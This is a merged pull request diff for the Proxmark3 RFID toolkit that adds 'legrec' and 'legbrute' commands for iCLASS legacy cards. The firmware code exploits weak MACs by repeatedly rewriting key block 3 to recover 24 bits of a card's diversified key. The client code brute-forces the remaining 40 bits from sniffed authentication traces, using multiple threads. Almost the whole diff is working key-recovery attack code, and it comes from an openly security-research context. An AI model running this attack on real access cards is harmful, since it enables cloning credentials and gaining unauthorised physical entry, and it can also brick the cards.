Merge pull request #2430 from Antiklesys/master

Iclass Legacy Raw Key Recovery Function
This commit is contained in:
Iceman 2024-07-20 10:44:01 +02:00 committed by GitHub
commit 2208d4e3e6
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
10 changed files with 519 additions and 0 deletions

View file

@ -15,6 +15,8 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac
- Added MFC Key for swimming pool cards in Reykjavík Iceland (@dandri)
- Added key for Orkan keyfobs (@dandri)
- Added key for Atlantsolía keyfobs (@dandri)
- Added `hf iclass legbrute` this function allows to bruteforce 40/64 k1 bits of an iclass card to recover the raw key used(@antiklesys).
- Added `hf iclass legrec` this function allows to recover 24/64 k1 bits of an iclass card (@antiklesys).
## [Aurora.4.18589][2024-05-28]
- Fixed the pm3 regressiontests for Hitag2Crack (@iceman1001)
- Changed `mem spiffs tree` - adapted to bigbuff and show if empty (@iceman1001)

View file

@ -2061,6 +2061,10 @@ static void PacketReceived(PacketCommandNG *packet) {
iClass_Restore((iclass_restore_req_t *)packet->data.asBytes);
break;
}
case CMD_HF_ICLASS_RECOVER: {
iClass_Recover((iclass_recover_req_t *)packet->data.asBytes);
break;
}
case CMD_HF_ICLASS_CREDIT_EPURSE: {
iclass_credit_epurse((iclass_credit_epurse_t *)packet->data.asBytes);
break;

View file

@ -2152,3 +2152,192 @@ out:
reply_ng(CMD_HF_ICLASS_RESTORE, isOK, NULL, 0);
}
}
void generate_single_key_block_inverted(const uint8_t *startingKey, uint32_t index, uint8_t *keyBlock) {
uint32_t carry = index;
memcpy(keyBlock, startingKey, PICOPASS_BLOCK_SIZE);
for (int j = PICOPASS_BLOCK_SIZE - 1; j >= 0; j--) {
uint8_t increment_value = carry & 0x07; // Use only the last 3 bits of carry
keyBlock[j] = increment_value; // Set the last 3 bits, assuming first 5 bits are always 0
carry >>= 3; // Shift right by 3 bits for the next byte
if (carry == 0) {
// If no more carry, break early to avoid unnecessary loops
break;
}
}
}
void iClass_Recover(iclass_recover_req_t *msg) {
bool shallow_mod = false;
LED_A_ON();
Iso15693InitReader();
//Authenticate with AA2 with the standard key to get the AA2 mac
//Step0 Card Select Routine
uint32_t eof_time = 0;
picopass_hdr_t hdr = {0};
bool res = select_iclass_tag(&hdr, true, &eof_time, shallow_mod);
if (res == false) {
goto out;
}
//Step1 Authenticate with AA2 using K2
uint8_t mac2[4] = {0};
uint32_t start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
res = authenticate_iclass_tag(&msg->req2, &hdr, &start_time, &eof_time, mac2);
if (res == false) {
goto out;
}
uint8_t div_key2[8] = {0};
memcpy(div_key2, hdr.key_c, 8);
//cycle reader to reset cypher state and be able to authenticate with k1 trace
switch_off();
Iso15693InitReader();
//Step0 Card Select Routine
eof_time = 0;
//hdr = {0};
res = select_iclass_tag(&hdr, false, &eof_time, shallow_mod);
if (res == false) {
goto out;
}
//Step1 Authenticate with AA1 using trace
uint8_t mac1[4] = {0};
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1);
if (res == false) {
goto out;
}
//Step2 Privilege Escalation: attempt to read AA2 with credentials for AA1
uint8_t blockno = 24;
uint8_t cmd_read[] = {ICLASS_CMD_READ_OR_IDENTIFY, blockno, 0x00, 0x00};
AddCrc(cmd_read + 1, 1);
uint8_t resp[10];
res = iclass_send_cmd_with_retries(cmd_read, sizeof(cmd_read), resp, sizeof(resp), 10, 3, &start_time, ICLASS_READER_TIMEOUT_OTHERS, &eof_time, shallow_mod);
static uint8_t iclass_mac_table[8][8] = { //Reference weak macs table
{ 0x00, 0x00, 0x00, 0x00, 0xBF, 0x5D, 0x67, 0x7F }, //Expected mac when last 3 bits of each byte are: 000
{ 0x00, 0x00, 0x00, 0x00, 0x10, 0xED, 0x6F, 0x11 }, //Expected mac when last 3 bits of each byte are: 001
{ 0x00, 0x00, 0x00, 0x00, 0x53, 0x35, 0x42, 0x0F }, //Expected mac when last 3 bits of each byte are: 010
{ 0x00, 0x00, 0x00, 0x00, 0xAB, 0x47, 0x4D, 0xA0 }, //Expected mac when last 3 bits of each byte are: 011
{ 0x00, 0x00, 0x00, 0x00, 0xF6, 0xCF, 0x43, 0x36 }, //Expected mac when last 3 bits of each byte are: 100
{ 0x00, 0x00, 0x00, 0x00, 0x59, 0x7F, 0x4B, 0x58 }, //Expected mac when last 3 bits of each byte are: 101
{ 0x00, 0x00, 0x00, 0x00, 0x1A, 0xA7, 0x66, 0x46 }, //Expected mac when last 3 bits of each byte are: 110
{ 0x00, 0x00, 0x00, 0x00, 0xE2, 0xD5, 0x69, 0xE9 } //Expected mac when last 3 bits of each byte are: 111
};
//Viewing the weak macs table card 24 bits (3x8) in the form of a 24 bit decimal number
static uint32_t iclass_mac_table_bit_values[8] = {0, 2396745, 4793490, 7190235, 9586980, 11983725, 14380470, 16777215};
/* iclass_mac_table is a series of weak macs, those weak macs correspond to the different combinations of the last 3 bits of each key byte.
If we concatenate the last three bits of each key byte, we have a 24 bits long binary string.
If we convert that string to decimal we obtain the decimal numbers in iclass_mac_table_bit_values
Xorring the index of iterations against those decimal numbers allows us to retrieve the what was the corresponding sequence of bits of the original key in decimal format. */
uint8_t zero_key[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
uint32_t index = 1;
int bits_found = -1;
//START LOOP
while (bits_found == -1){
//Step3 Calculate New Key
uint8_t genkeyblock[PICOPASS_BLOCK_SIZE];
uint8_t genkeyblock_old[PICOPASS_BLOCK_SIZE];
uint8_t xorkeyblock[PICOPASS_BLOCK_SIZE];
generate_single_key_block_inverted(zero_key, index, genkeyblock);
//NOTE BEFORE UPDATING THE KEY WE NEED TO KEEP IN MIND KEYS ARE XORRED
//xor the new key against the previously generated key so that we only update the difference
if(index != 0){
generate_single_key_block_inverted(zero_key, index - 1, genkeyblock_old);
for (int i = 0; i < 8 ; i++) {
xorkeyblock[i] = genkeyblock[i] ^ genkeyblock_old[i];
}
}else{
memcpy(xorkeyblock, genkeyblock, PICOPASS_BLOCK_SIZE);
}
//Step4 Calculate New Mac
bool use_mac = true;
uint8_t wb[9] = {0};
blockno = 3;
wb[0] = blockno;
memcpy(wb + 1, xorkeyblock, 8);
doMAC_N(wb, sizeof(wb), div_key2, mac2);
//Step5 Perform Write
if (iclass_writeblock_ext(blockno, xorkeyblock, mac2, use_mac, shallow_mod)) {
Dbprintf("Write block [%3d/0x%02X] " _GREEN_("successful"), blockno, blockno);
} else {
Dbprintf("Write block [%3d/0x%02X] " _RED_("failed"), blockno, blockno);
goto out;
}
//Step6 Perform 8 authentication attempts
for (int i = 0; i < 8 ; ++i) {
//need to craft the authentication payload accordingly
memcpy(msg->req.key, iclass_mac_table[i], 8);
res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); //mac1 here shouldn't matter
if (res == true) {
bits_found = iclass_mac_table_bit_values[i] ^ index;
Dbprintf("Found Card Bits Index: " _GREEN_("[%3d]"), index);
Dbprintf("Mac Table Bit Values: " _GREEN_("[%3d]"), iclass_mac_table_bit_values[i]);
Dbprintf("Decimal Value of Partial Key: " _GREEN_("[%3d]"), bits_found);
goto restore;
}
}
}//end while
restore:
;//empty statement for compilation
uint8_t partialkey[PICOPASS_BLOCK_SIZE];
convertToHexArray(bits_found, partialkey);
for (int i = 0; i < 8; i++){
Dbprintf("Raw Key Partial Bytes: " _GREEN_("[%3d -> 0x%02X]"), i, partialkey);
}
uint8_t resetkey[PICOPASS_BLOCK_SIZE];
convertToHexArray(index, resetkey);
//Calculate reset Mac
bool use_mac = true;
uint8_t wb[9] = {0};
blockno = 3;
wb[0] = blockno;
memcpy(wb + 1, resetkey, 8);
doMAC_N(wb, sizeof(wb), div_key2, mac2);
if (iclass_writeblock_ext(blockno, resetkey, mac2, use_mac, shallow_mod)) {
Dbprintf("Restore of Original Key [%3d/0x%02X] " _GREEN_("successful"), blockno, blockno);
} else {
Dbprintf("Restore of Original Key [%3d/0x%02X] " _RED_("failed"), blockno, blockno);
}
switch_off();
out:
switch_off();
}

View file

@ -70,4 +70,7 @@ bool authenticate_iclass_tag(iclass_auth_req_t *payload, picopass_hdr_t *hdr, ui
uint8_t get_pagemap(const picopass_hdr_t *hdr);
void iclass_send_as_reader(uint8_t *frame, int len, uint32_t *start_time, uint32_t *end_time, bool shallow_mod);
void generate_single_key_block_inverted(const uint8_t *startingKey, uint32_t index, uint8_t *keyBlock);
void iClass_Recover(iclass_recover_req_t *msg);
#endif

View file

@ -395,3 +395,33 @@ uint32_t flash_size_from_cidr(uint32_t cidr) {
uint32_t get_flash_size(void) {
return flash_size_from_cidr(*AT91C_DBGU_CIDR);
}
// Function to convert an unsigned int to binary string
void intToBinary(uint8_t num, char *binaryStr, int size) {
binaryStr[size] = '\0'; // Null-terminate the string
for (int i = size - 1; i >= 0; i--) {
binaryStr[i] = (num % 2) ? '1' : '0';
num /= 2;
}
}
// Function to convert a binary string to hexadecimal
uint8_t binaryToHex(char *binaryStr) {
return (uint8_t)strtoul(binaryStr, NULL, 2);
}
// Function to convert an unsigned int to an array of hex values
void convertToHexArray(uint8_t num, uint8_t *partialkey) {
char binaryStr[25]; // 24 bits for binary representation + 1 for null terminator
// Convert the number to binary string
intToBinary(num, binaryStr, 24);
// Split the binary string into groups of 3 and convert to hex
for (int i = 0; i < 8 ; i++) {
char group[4];
strncpy(group, binaryStr + i * 3, 3);
group[3] = '\0'; // Null-terminate the group string
partialkey[i] = binaryToHex(group);
}
}

View file

@ -88,6 +88,10 @@ int hex2binarray(char *target, char *source);
int hex2binarray_n(char *target, const char *source, int sourcelen);
int binarray2hex(const uint8_t *bs, int bs_len, uint8_t *hex);
void intToBinary(uint8_t num, char *binaryStr, int size);
uint8_t binaryToHex(char *binaryStr);
void convertToHexArray(uint8_t num, uint8_t *partialKey);
void LED(int led, int ms);
void LEDsoff(void);
void SpinOff(uint32_t pause);

View file

@ -3842,6 +3842,284 @@ void picopass_elite_nextKey(uint8_t* key) {
memcpy(key, key_state, 8);
}
static int CmdHFiClassRecover(uint8_t key[8]) {
uint32_t payload_size = sizeof(iclass_recover_req_t);
uint8_t aa2_standard_key[PICOPASS_BLOCK_SIZE] = {0};
memcpy(aa2_standard_key, iClass_Key_Table[1], PICOPASS_BLOCK_SIZE);
iclass_recover_req_t *payload = calloc(1, payload_size);
payload->req.use_raw = true;
payload->req.use_elite = false;
payload->req.use_credit_key = false;
payload->req.use_replay = true;
payload->req.send_reply = true;
payload->req.do_auth = true;
payload->req.shallow_mod = false;
payload->req2.use_raw = false;
payload->req2.use_elite = false;
payload->req2.use_credit_key = true;
payload->req2.use_replay = false;
payload->req2.send_reply = true;
payload->req2.do_auth = true;
payload->req2.shallow_mod = false;
memcpy(payload->req.key, key, 8);
memcpy(payload->req2.key, aa2_standard_key, 8);
PrintAndLogEx(INFO, "Recover started...");
PacketResponseNG resp;
clearCommandBuffer();
SendCommandNG(CMD_HF_ICLASS_RECOVER, (uint8_t *)payload, payload_size);
WaitForResponse(CMD_HF_ICLASS_RECOVER, &resp);
if (resp.status == PM3_SUCCESS) {
PrintAndLogEx(SUCCESS, "iCLASS Recover " _GREEN_("successful"));
} else {
PrintAndLogEx(WARNING, "iCLASS Recover " _RED_("failed"));
}
free(payload);
return resp.status;
}
typedef struct {
uint32_t start_index;
uint32_t keycount;
const uint8_t *startingKey;
uint8_t (*keyBlock)[PICOPASS_BLOCK_SIZE];
} ThreadData;
void *generate_key_blocks(void *arg) {
ThreadData *data = (ThreadData *)arg;
uint32_t start_index = data->start_index;
uint32_t keycount = data->keycount;
const uint8_t *startingKey = data->startingKey;
uint8_t (*keyBlock)[PICOPASS_BLOCK_SIZE] = data->keyBlock;
for (uint32_t i = 0; i < keycount; i++) {
uint32_t carry = start_index + i;
memcpy(keyBlock[i], startingKey, PICOPASS_BLOCK_SIZE);
for (int j = PICOPASS_BLOCK_SIZE - 1; j >= 0; j--) {
uint8_t increment_value = (carry & 0x1F) << 3; // Use only the first 5 bits of carry
keyBlock[i][j] = (keyBlock[i][j] & 0x07) | increment_value; // Preserve the last three bits
carry >>= 5; // Shift right by 5 bits for the next byte
if (carry == 0) {
// If no more carry, break early to avoid unnecessary loops
break;
}
}
}
return NULL;
}
static int CmdHFiClassLegRecLookUp(const char *Cmd) {
//Standalone Command Start
CLIParserContext *ctx;
CLIParserInit(&ctx, "hf iclass legbrute",
"This command take sniffed trace data and partial raw key and bruteforces the remaining 40 bits of the raw key.",
"hf iclass legbrute --csn 8D7BD711FEFF12E0 --epurse feffffffffffffff --macs 00000000BD478F76 --pk B4F12AADC5301225"
);
void *argtable[] = {
arg_param_begin,
arg_str1(NULL, "csn", "<hex>", "Specify CSN as 8 hex bytes"),
arg_str1(NULL, "epurse", "<hex>", "Specify ePurse as 8 hex bytes"),
arg_str1(NULL, "macs", "<hex>", "MACs"),
arg_str1(NULL, "pk", "<hex>", "Partial Key"),
arg_param_end
};
CLIExecWithReturn(ctx, Cmd, argtable, false);
int csn_len = 0;
uint8_t csn[8] = {0};
CLIGetHexWithReturn(ctx, 1, csn, &csn_len);
if (csn_len > 0) {
if (csn_len != 8) {
PrintAndLogEx(ERR, "CSN is incorrect length");
CLIParserFree(ctx);
return PM3_EINVARG;
}
}
int epurse_len = 0;
uint8_t epurse[8] = {0};
CLIGetHexWithReturn(ctx, 2, epurse, &epurse_len);
if (epurse_len > 0) {
if (epurse_len != 8) {
PrintAndLogEx(ERR, "ePurse is incorrect length");
CLIParserFree(ctx);
return PM3_EINVARG;
}
}
int macs_len = 0;
uint8_t macs[8] = {0};
CLIGetHexWithReturn(ctx, 3, macs, &macs_len);
if (macs_len > 0) {
if (macs_len != 8) {
PrintAndLogEx(ERR, "MAC is incorrect length");
CLIParserFree(ctx);
return PM3_EINVARG;
}
}
int startingkey_len = 0;
uint8_t startingKey[8] = {0};
CLIGetHexWithReturn(ctx, 4, startingKey, &startingkey_len);
if (startingkey_len > 0) {
if (startingkey_len != 8) {
PrintAndLogEx(ERR, "Partial Key is incorrect length");
CLIParserFree(ctx);
return PM3_EINVARG;
}
}
CLIParserFree(ctx);
//Standalone Command End
uint8_t CCNR[12];
uint8_t MAC_TAG[4] = {0, 0, 0, 0};
// Copy CCNR and MAC_TAG
memcpy(CCNR, epurse, 8);
memcpy(CCNR + 8, macs, 4);
memcpy(MAC_TAG, macs + 4, 4);
PrintAndLogEx(SUCCESS, " CSN: " _GREEN_("%s"), sprint_hex(csn, 8));
PrintAndLogEx(SUCCESS, " Epurse: %s", sprint_hex(epurse, 8));
PrintAndLogEx(SUCCESS, " MACS: %s", sprint_hex(macs, 8));
PrintAndLogEx(SUCCESS, " CCNR: " _GREEN_("%s"), sprint_hex(CCNR, sizeof(CCNR)));
PrintAndLogEx(SUCCESS, "TAG MAC: %s", sprint_hex(MAC_TAG, sizeof(MAC_TAG)));
PrintAndLogEx(SUCCESS, "Starting Key: %s", sprint_hex(startingKey, 8));
uint32_t keycount = 1000000;
uint32_t keys_per_thread = 200000;
uint32_t num_threads = keycount / keys_per_thread;
pthread_t threads[num_threads];
ThreadData thread_data[num_threads];
iclass_prekey_t *prekey = NULL;
iclass_prekey_t lookup;
iclass_prekey_t *item = NULL;
memcpy(lookup.mac, MAC_TAG, 4);
uint32_t block_index = 0;
while (item == NULL) {
for (uint32_t t = 0; t < num_threads; t++) {
thread_data[t].start_index = block_index * keycount + t * keys_per_thread;
thread_data[t].keycount = keys_per_thread;
thread_data[t].startingKey = startingKey;
thread_data[t].keyBlock = calloc(keys_per_thread, PICOPASS_BLOCK_SIZE);
if (thread_data[t].keyBlock == NULL) {
PrintAndLogEx(ERR, "Memory allocation failed for keyBlock in thread %d.", t);
for (uint32_t i = 0; i < t; i++) {
free(thread_data[i].keyBlock);
}
return PM3_EINVARG;
}
pthread_create(&threads[t], NULL, generate_key_blocks, (void *)&thread_data[t]);
}
for (uint32_t t = 0; t < num_threads; t++) {
pthread_join(threads[t], NULL);
}
if (prekey == NULL) {
prekey = calloc(keycount, sizeof(iclass_prekey_t));
} else {
prekey = realloc(prekey, (block_index + 1) * keycount * sizeof(iclass_prekey_t));
}
if (prekey == NULL) {
PrintAndLogEx(ERR, "Memory allocation failed for prekey.");
for (uint32_t t = 0; t < num_threads; t++) {
free(thread_data[t].keyBlock);
}
return PM3_EINVARG;
}
PrintAndLogEx(INFO, "Generating diversified keys...");
for (uint32_t t = 0; t < num_threads; t++) {
GenerateMacKeyFrom(csn, CCNR, true, false, (uint8_t *)thread_data[t].keyBlock, keys_per_thread, prekey + (block_index * keycount) + (t * keys_per_thread));
}
PrintAndLogEx(INFO, "Sorting...");
// Sort mac list
qsort(prekey, (block_index + 1) * keycount, sizeof(iclass_prekey_t), cmp_uint32);
PrintAndLogEx(SUCCESS, "Searching for " _YELLOW_("%s") " key...", "DEBIT");
// Binary search
item = (iclass_prekey_t *)bsearch(&lookup, prekey, (block_index + 1) * keycount, sizeof(iclass_prekey_t), cmp_uint32);
for (uint32_t t = 0; t < num_threads; t++) {
free(thread_data[t].keyBlock);
}
block_index++;
}
if (item != NULL) {
PrintAndLogEx(SUCCESS, "Found valid RAW key " _GREEN_("%s"), sprint_hex(item->key, 8));
}
free(prekey);
PrintAndLogEx(NORMAL, "");
return PM3_SUCCESS;
}
static int CmdHFiClassLegacyRecover(const char *Cmd) {
CLIParserContext *ctx;
CLIParserInit(&ctx, "hf iclass legrec",
"Attempts to recover the diversified key of a specific iClass card. This may take a long time. The Card must remain be on the PM3 antenna during the whole process! This process may brick the card!",
"hf iclass legrec --macs 0000000089cb984b"
);
void *argtable[] = {
arg_param_begin,
arg_str1(NULL, "macs", "<hex>", "MACs"),
arg_param_end
};
CLIExecWithReturn(ctx, Cmd, argtable, false);
int macs_len = 0;
uint8_t macs[8] = {0};
CLIGetHexWithReturn(ctx, 1, macs, &macs_len);
if (macs_len > 0) {
if (macs_len != 8) {
PrintAndLogEx(ERR, "MAC is incorrect length");
CLIParserFree(ctx);
return PM3_EINVARG;
}
}
CLIParserFree(ctx);
CmdHFiClassRecover(macs);
PrintAndLogEx(WARNING, _YELLOW_("If the process completed, you can now run 'hf iclass legrecbrute' with the partial key found."));
PrintAndLogEx(NORMAL, "");
return PM3_SUCCESS;
}
static int CmdHFiClassLookUp(const char *Cmd) {
CLIParserContext *ctx;
CLIParserInit(&ctx, "hf iclass lookup",
@ -4738,6 +5016,8 @@ static command_t CommandTable[] = {
{"chk", CmdHFiClassCheckKeys, IfPm3Iclass, "Check keys"},
{"loclass", CmdHFiClass_loclass, AlwaysAvailable, "Use loclass to perform bruteforce reader attack"},
{"lookup", CmdHFiClassLookUp, AlwaysAvailable, "Uses authentication trace to check for key in dictionary file"},
{"legrec", CmdHFiClassLegacyRecover, IfPm3Iclass, "Attempts to recover the standard key of a legacy card"},
{"legbrute", CmdHFiClassLegRecLookUp, AlwaysAvailable, "Bruteforces 40 bits of a partial raw key"},
{"-----------", CmdHelp, IfPm3Iclass, "-------------------- " _CYAN_("Simulation") " -------------------"},
{"sim", CmdHFiClassSim, IfPm3Iclass, "Simulate iCLASS tag"},
{"eload", CmdHFiClassELoad, IfPm3Iclass, "Upload file into emulator memory"},

View file

@ -42,4 +42,5 @@ void picopass_elite_reset(void);
uint32_t picopass_elite_rng(void);
uint32_t picopass_elite_lcg(void);
uint8_t picopass_elite_nextByte(void);
void *generate_key_blocks(void *arg);
#endif

View file

@ -105,6 +105,11 @@ typedef struct {
iclass_restore_item_t blocks[];
} PACKED iclass_restore_req_t;
typedef struct {
iclass_auth_req_t req;
iclass_auth_req_t req2;
} PACKED iclass_recover_req_t;
typedef struct iclass_premac {
uint8_t mac[4];
} PACKED iclass_premac_t;

View file

@ -630,6 +630,7 @@ typedef struct {
#define CMD_HF_ICLASS_CHKKEYS 0x039A
#define CMD_HF_ICLASS_RESTORE 0x039B
#define CMD_HF_ICLASS_CREDIT_EPURSE 0x039C
#define CMD_HF_ICLASS_RECOVER 0x039D
// For ISO1092 / FeliCa